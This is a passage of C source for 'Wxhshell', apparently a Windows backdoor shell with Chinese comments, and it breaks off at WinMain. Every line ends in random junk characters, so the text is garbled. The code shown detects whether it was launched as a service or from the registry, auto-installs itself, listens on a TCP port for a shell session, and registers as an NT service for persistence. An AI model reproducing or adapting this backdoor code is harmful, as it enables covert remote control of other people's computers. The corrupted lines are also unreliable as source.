ULONG UniqueProcessId; gp $Rf9\
ULONG InheritedFromUniqueProcessId; xt"-Jmox
} PROCESS_BASIC_INFORMATION; u(f;4`
+|pYu<OY
PROCNTQSIP NtQueryInformationProcess; iCh8e>+
rLmc(-q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~!7x45(1#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]>k8v6*=
ycOnPTh
HANDLE hProcess; #<sK3 PT
PROCESS_BASIC_INFORMATION pbi; !T
,=kh
@.}Y'`9L
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ev+H{5W8
if(NULL == hInst ) return 0; h?B1Emlq
l. l)w
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EowzEGq!a5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _!Tjb^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Uf`'X\e6
Cd]A1<6s
if (!NtQueryInformationProcess) return 0; a&)!zhVP
gE=9K @
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wS&D-!8v
if(!hProcess) return 0; ?vI2mra+
o~"Y_dLsW
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5_L,7\5#
vZ$E
[EG}
CloseHandle(hProcess); VGxab;#,:3
.j|uf[?h
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }fo_"bs@
if(hProcess==NULL) return 0; /4;A.r`;
Yjd/
HMODULE hMod; _G.!^+)kEm
char procName[255]; -m>3@"q
unsigned long cbNeeded; R-OO1~W=
8d Fqwpw8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `jTB9A"
S&]r6ss
CloseHandle(hProcess); ;8eGf'
^P]5@d v
if(strstr(procName,"services")) return 1; // 以服务启动 pBv,,d`
^>Z7."uGY
return 0; // 注册表启动 N$C+le
} Eaxsg
jAy2C&aP
// 主模块 Q{'4,J-w
int StartWxhshell(LPSTR lpCmdLine) *vIP\NL?H
{ 2*#i/SE_
SOCKET wsl; PN<VqtW
BOOL val=TRUE; W ;+()vC
int port=0; Y}t)!}p$r
struct sockaddr_in door; XIZN9/;
*o:J 4'
if(wscfg.ws_autoins) Install(); +_bxza(ma{
JEWc{)4QD
port=atoi(lpCmdLine); j&a\ K}U!
@V5i
if(port<=0) port=wscfg.ws_port; @H~oOf
[UC_
WSADATA data; Iu`S0#+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; En\q. 3
5
^q&|7Ou-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; PE/uB,Wl
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xVX:kDX
door.sin_family = AF_INET; 7I&o
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7l=Tl[n
door.sin_port = htons(port); ~OvbMWu
H<<t^,E^.t
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mTUoFXX[
closesocket(wsl); &=n/h5e0t&
return 1; :&'jh/vRN
} 9y5JV3
RjO0*$>h
if(listen(wsl,2) == INVALID_SOCKET) { =_m3~=Z
closesocket(wsl); }BL7P-km
return 1; cZ)mp`^n7
} zb"4_L@m2
Wxhshell(wsl); PeqW+Q.
WSACleanup(); 3tJfh=r=1
q+p}U}L=
k
return 0; Gr/}&+S
2QAP$f0Ln
} =2=rPZw9
yZgWFf.X
// 以NT服务方式启动 g)TZ/,NQ{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CxJ3u
{ w{k ^O7~
DWORD status = 0; }S?"mg&V
DWORD specificError = 0xfffffff; Z[]8X@IPe
zF>;7'\x
serviceStatus.dwServiceType = SERVICE_WIN32; TecMQ0
KD
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |mRlP5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |j9aTv[`
serviceStatus.dwWin32ExitCode = 0; -\;0gnf{J
serviceStatus.dwServiceSpecificExitCode = 0; qq<T~^
serviceStatus.dwCheckPoint = 0; 42 lw>gzr!
serviceStatus.dwWaitHint = 0; @|wU
@by{
V.qH&FJ=l
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~I;x_0iY4
if (hServiceStatusHandle==0) return; -Q
JP J.
k0ai#3iJ
status = GetLastError(); =H;'.!77Hx
if (status!=NO_ERROR) *)
T"-}F
{ p'%S{v@5((
serviceStatus.dwCurrentState = SERVICE_STOPPED; -LUZ7,!/>o
serviceStatus.dwCheckPoint = 0; |3T2}oh rr
serviceStatus.dwWaitHint = 0; [+R_3'aK
serviceStatus.dwWin32ExitCode = status; X;UEq]kcmn
serviceStatus.dwServiceSpecificExitCode = specificError; 8zlvzp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G7v<Q,s
return; iDl#foXa`
} oPni4^g i
B&B:P
serviceStatus.dwCurrentState = SERVICE_RUNNING; DQP!e6Of
serviceStatus.dwCheckPoint = 0; W SxoGly
serviceStatus.dwWaitHint = 0; Do\j _
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p}pd&ut1
} A s}L=2
Y~{<Hs
// 处理NT服务事件,比如:启动、停止 %g@\SR.
VOID WINAPI NTServiceHandler(DWORD fdwControl) DC1.f(cdR
{ I%Yq86
switch(fdwControl) u%yYLpaKf
{ "a~r'+'<
case SERVICE_CONTROL_STOP: 6k>5+ -&_
serviceStatus.dwWin32ExitCode = 0; ^--R#$X
serviceStatus.dwCurrentState = SERVICE_STOPPED; cb0rkmO
serviceStatus.dwCheckPoint = 0; Y%0rji
serviceStatus.dwWaitHint = 0; ")vtS}Ekt
{ Kb{&a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); U5~aG!E
} 6S3D#SY
return; AzZhIhWl">
case SERVICE_CONTROL_PAUSE: 32SkxcfrCK
serviceStatus.dwCurrentState = SERVICE_PAUSED; )AR-b8..o
break; :A @f[Y'9
case SERVICE_CONTROL_CONTINUE: )[ZXPD
serviceStatus.dwCurrentState = SERVICE_RUNNING; T$R#d&t
break; `L7^f!
case SERVICE_CONTROL_INTERROGATE: f+s)A(?3
break; #V]8FW
}; |gu@b~8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]u$tKC
} W'"?5} (
)uo".n|n~B
// 标准应用程序主函数 eWex/ m
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fiA8W
{ XxdD)I
6Y,&